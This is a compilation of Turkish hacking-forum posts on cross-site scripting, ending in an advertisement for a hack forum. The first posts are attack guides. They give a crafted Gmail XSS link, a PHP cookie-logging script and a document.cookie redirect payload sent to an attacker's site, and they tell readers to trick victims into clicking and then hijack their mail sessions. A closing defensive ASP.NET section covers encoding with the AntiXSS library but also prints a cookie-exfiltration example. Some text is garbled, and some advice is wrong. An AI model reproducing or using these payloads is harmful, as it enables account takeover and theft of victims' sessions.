Mail XSS & Cookie Bilgileri

GMAİL XSS

S.A.

ilk önce XSS saldırısı nedir onu acıklayalım..

Cross Site Scripting olarak adlandırılır..

victim’in üye olduğu herhangi bir sitedeki hesabının, owner tarafından belirli kodlarla scriptlere gömülen saldırı türüdür.. Hackerın deneme-yanılma bir tür brutue attack yaparak bulmasıyla meydana gelir..

Hacker, başka bir scriptten, domainden veya hesaptan, XSS açığının bulunduğu siteye session bilgilerini ele geçirmesine ortam sağlar..

bu XSS (Cross Site Scripting) açığı daha çok Mail sistemlerinde karşımıza çıkar.. Bunun en büyük sebebi ise; XSS açığına günümüzdeki bir çok web uygulamalarında rastlanması ve ücretsiz güvenlik açığı tarama yazılımları ile kolayca bulunabilmesidir..


Bu bug’a en büyük çözüm ise; XSS (Cross Site Scripting) açığı bulunan scriptin yazılım kodlarının düzeltilmesidir.. Kullanılan scriptte, user’lardan alınan girdiler, mutlaka kontrol edilmelidir.. Bunun sayesinde web-mail güvenlik açıklarına sebebiyet veren; XSS (Cross Site Scripting) - SQL Injection - Buffer 0werflow gibi bug’lar rahatça fixlenebilecektir..

Örnek verecek olursak; hackerın XSS veya SQL Inj. için kullanacağımız kodlar arasında % > < ile başlayan karakterler bulunmaktadır.. Bu tür karakterlerin olduğu scriptlerde girilen verinin encode edilmesi gerekebilir.. Yani kısaca kullanılan "%" karakteri yerine v harfi uygulanırsa, böylece hacker başarısız olur..

Gelelim son olarak GOOGLE ürünü olan gmail.com servisinde XSS Açığına..

gmail.com hesabına sahip victim’i hacklemek için; kurbana vereceğim kodları yedirmeniz gerekmektedir.. Bu kodu victim’e yedirmek size kalmış tabii ki.. Herhangi bir siteye gömerekte yollayabilirsiniz, kullanılan scripte (ASP, PHP, vs) encode ederekte gömebilirsiniz veya sitenizde iframe olarak verebilirsiniz...

Kod;

http://www.google.com/reviews/w/confirm?url=http://volqan.us/root/index.php?"><SCRİPT>/XSS src= "http://sitendeki-JS-dosyanin adresi> <SCRİPT>&q=000&c=http://www.google.com/searchhl=en&q=000&btnG=Search&submit=VoLqaN">

(URL’leri kendi adresinize göre düzeltiniz)

Kurbana yedirdikten sonra gelen cerezleri, kendi cerezlerinizle editleyerek victim’in mailine giriş yapabilirsiniz..

Not: js dosya için, sniffer’ınızın olması gerekli

Kısa bir süre önce gmail hesabımı bu yolla kaptırmıstım : ) demek ki iş’e yarıyormus, neyse mühim olan "niçin hacklendim" değil "nasıl hacklendim"

GOOGLE’a ait gmail’deki bu açığın kapanması an meselesidir.. Hotmail gibi aylarca süren bir XSS açığı değil.. Bknz: En son bulunan Gmail XSS Açığı, 2 günde fixlenmişti.

Linuxmail XSS

s.a Dostlar,

Linuxmail’in güvenlik açıklarından faydalanma hakkında biraz bilgi vericem. ( Kısa Ve ÖZ )

Linuxmail.org adresinde bulunan XSS ( Cross Site Scripting ):

http://mymail.linuxmail.org/scripts/...owlist&mode=//

Kurbana Gönderilecek Linkin içindeki xss açıgımızın sonuna eklenecek kod:

kodun saglamlıgı için adres olarak veriyorum

ÖNEMLI: Arkadaslar son verdigim kodu önce decode edip düzenliyeceksiniz ve sonra tekrar encode etmeniz gerekmektedir. yoksa cookies ( çerezler ) sniffer ınıza gelmez

Kendinize göre decode ve encode yide Buradan yapabilirsiniz.

Kurbanın Cookies i çektikten sonra Operada [URL="http://www.linuxmail.org/"]http://www.linuxmail.org [url]https://tik.lat/9A28G Simdi Buradan ne anliyoruz id numarasi yada haber numarasi diyelim 12 olan yaziyi yazdir simdi onun üzerinde az oynarsak belki xss bulabiliriz ilk önce test için java scriptteki alert komutunu test edelim nasil yapicaz http://www.hedef.com/haber.php?yazdir=**********alert("Xss");</script>
Burada eger xss yiyosa Ekranda Xss seklinde bi uyari görürüz bu nedemek olur tabiiki bu sitede java script çalistirabiliyoruz ozaman ne yapmamiz gerekli devaminda cookie çalmaya çalismaliyiz peki java scriptte cookie kodu ne
Kod:
**********alert("********.cookie");</script>
bunu sitenin sonuna söyle yazdigimizda ne olucak dersiniz http://www.hedef.com/haber.php?yazdir=**********alert(********.cookie);</script>
tabii ki deminki Xss diye uyari gördügümüz ekranda Kendi cookiemizi görücez peki baskasinin cookiesini almak için ne yapmali ilk önce bi sniffer hazirlanmali sniffer hazirlamakla ilgili döküman ileride ayrintili yazicam ama amacimiz su anda sadece isimizi su kodlar görüyoro

Kod:
<?php
$cookie = $_GET[’cookie’];
$fp = fopen(’log.php’, ’a’);
fwrite($fp, ’Cookie: ’.$cookie.’<br>’);
fclose($fp);
?>


bu kodu bi ftpye atip cal.php olarak kaydedicez Garanti olsun Chmod 777 de verelim hadi (Uha) ardindan ise java script yardimiyla diger kisilerin cookielerini çalmaya geldi onuda javadaki küçük bir oyunla halledicez
Kod:
******************.href=’ https://tik.lat/X9xFe ’%2Bescape(********.cookie)</script>

bunu sitemizin = (Esittir)’inden sonra ekliyoruz ve cookiesini çalmak istedigimiz kisinin tiklamasini sagliyoruz burasi sizin yaraticiliginiza kalmis bunu nasil yaparsiniz siz düsünün bi iki mantik göstericek olursam mesela bir web sitesi hazirlayin we tiklatmali bi sekilde yapin yani nasil tarif edeyim biri siteye girdiginde sanki o linke tiklamis gibi olsun (en basit anlatimi) yanii cokiesi olussun e tiklatma adresinede bizim kendi cookie çalma kodumuzu yazarsak elbetteki cookiemiz kendi sitemizdeki cal.php de gözükecekdir.
Cookieyi Çaldik
ee Napicaz çaldik adamin kimligini ama kendimi gizleyip içeriye nasil giricem bilmiyorum basit cookie editör veya proxomitron gibi programlar yardimiyla kolayca girebilirsiniz
Dökümanin Asil Amaci Xss ve Cookie iliskisi oldugundan dolayi fazla Detaya girmedim dicekdim de yine bayagi sey anlattigimi düsünüyorum ama önemli olan benim anlatmam degil sizin anlamaniz anladiysaniz benim için sorun yok anlamadiginiz kismi bu baslik altindan sorabilirsiniz.





[/COLOR][/B]

Cross Site Scripting (XSS)

Kullanıcıdan alınan bilgi olduğu gibi veritabanına kaydediliyorsa ve aynı şekilde veritabanındanda istemciye gönderiliyorsa kötü niyetli kodların istemci tarafından çalıştırılması muhtemeldir.



Örneğin bir ziyaretçi defteri doldururken mesaj kısmına

********** ********.href= ‘http://www.google.com’;</script>

Gibi bir bilgi girilirse ve herhangi bir kontrol olmadan bu siteyi ziyaret eden kullanıcılara bu bilgi gönderilirse, ziyaretçiler karşılarında sizin sitenizi değil, Google’ı göreceklerdir.

Ziyaretçilerin tarayıcılarında çalıştırılan bir javascript kodu ziyaretçiniz hakkındaki Session bilgilerinin de çalınmasına sebep olabilir.

**********
********.********=’http://www.kotuniyetlisite.com/yaz.a...ocument.cookie
</script>

Şeklinde girilen bir script sitenizi ziyaret eden her kullanıcının Session bilgilerini saldırganın sitesine gönderir. Bundan sonrası saldırganın tercihne kalmış. Session bilgilerini kendine mail atabilir yada kendi veritabanına kaydebilir.

ASP.NET programcıları bu konuda diğer web geliştiricilerinden biraz daha şanslı. Çünkü, “<” ve “>” karakterleri içinde gelen bilgi “Potansiyel Tehlikeli Bilgi” olarak algılanır ve sistem hata verir.

Ancak günümüz de sık geliştirilen “İçerik Yönetim Sistem” leri “FCK Editor” gibi html kodu üreten WYSWYG* editörleri kullanmakta.

Bu da ASP.NET programcısının “Fck Editor” kullandığı sayfasının başına ValidateRequest="false" gibi bir kodu eklemesine sebep veriyor. Bu da XSS saldırıları için bir davet anlamına gelir.

Buraya kadar verdiğimiz örnekler HTML kodları arasına sızan tekniklerdi.

Kullanıcıdan alınan bilgi ile oluşturulabilecek JavaScript, VBScript, XML de bu tehlikelere maruz kalabilir.

Javascript için basit bir örnek verelim.

Default.aspx dosyamızda bulunan Javascript :

<script type="text/javascript" >
alert(’Merhaba’ + ‘<asp:Literal runat="server" id="ltAd" />’);
</script>


Default.aspx.cs dosyasından gönderilen bilgi :

ltAd.Text = "Selçuk";

Sayfa çalıştırıldığında “Merhaba Selçuk” şeklinde bir MessageBox çıkıyor.

“Selçuk” değerinin veritabanından geldiğini farzedelim. Eğer veritabanından gelen şöyle bir şey olursa :

ltAd.Text = " ’ ********.href= "http://www.google.com’; alert(’a";

Sayfamız derlendiğinde ortaya çıkan Javascript kodunu inceleyelim :

<script type="text/javascript" >
alert(’Merhaba ’); ********.href=’http://www.google.com’; alert(’a’);
</script>


Ziyaretçi “Merhaba” şeklinde bir MessageBox görür ve kendini yine Google da bulur.

Bu konuda örnekler çoğaltılabilir. Biz şimdi alacağımız önlemlere geçelim.

Bunun için “Microsoft Anti-Cross Site Scripting Library” kütüphanesini kullanacağız.

http://www.microsoft.com/downloads/d...displaylang=en adresinden temin edebileceğiniz AntiXSSLibrary.dll i projemize dahil ediyoruz.

Microsoft.Application.Security.AntiXSS namespace’inden ulaşabileceğimiz 7 adet static metot ile XSS saldırıların önüne geçebiliriz.

Bu metotlar :


HtmlEncode
HtmlAttributeEncode
JavaScriptEncode
UrlEncode
VisualBasicScriptEncode
XmlEncode
XmlAttributeEncode

Yukarıda verdiğimiz örneklerden Javascript için

ltAd.Text = "’); ********.href= "http://www.google.com’; alert(’a");

yerine

using Microsoft.Security.Application.AntiXss;

...

ltAd.Text =
JavaScriptEncode("’); ********.href= "http://www.google.com’; alert(’a");

Şeklinde kullandığımızda bir ziyaretçilerimiz bir zarar görmeyecektir.

Sayfamızı derledikten sonra oluşan Javascript kodumuzu inceleyelim :

<script type="text/javascript" >
alert(’Merhaba ’\\x27\\x29\\x3b
********.href\\x3d\\x27http\\x3a\\x2f\\x2fwww.goog le.com\\x27\\x3b
alert\\x28\\x27a’);
</script>

Görüldüğü gibi “)“ işareti \\x27 ye , “;” işareti \\x29 a ve diğer zararlı karakterlerde Javascript’in karşılıklarına çevrilmiş. Bu kodlar çalıştırılamaz ama aynı karaktersel değerleini korurlar.

Örneğin

ltAd.Text = Microsoft.Security.Application.AntiXss.JavaScriptE ncode("Selçuk");Şeklinde bir kullanımda ekranda “Selçuk” yazar ancak kaynak kodunda “ç” karakteri \\u00e7 olarak kodlanmıştır.



Bunun sebebi ise AntiXSS kütüphanesinin belli başlı karakterleri encode eder. Bunlar büyüktür “<” , küçüktür “>” , ampersand “&” , çift tırnak “"” ve ascii değeri 160-255 arası olan karakterlerdir.

“ç” harfi ascii tablosunda bulunmuyor ancak unicode değer olan 351’in Hexadecimal eşiti 00e7 dir. Dolayısıyla Javascript’tin ç harfini \\u00e7 olarak tanır.

Gercek Turk Hackerlarız bız Türk hacker olmak istiyorsanız veya bılısım korsanı olmak ıstıyorsanız

sitemizi gelin

GrayhatZ / Hack Forum

GrayhatZ / Hack Forum - hack sitesi, hacksitesi, grayhatz, grayhats, grayhat, msn hack, pc hack, msn patlatma, msn kırma, msn şifre, msn şifre kırma, hack platformu, hack forumu, hack formu, hacker, hacker sitesi, hacked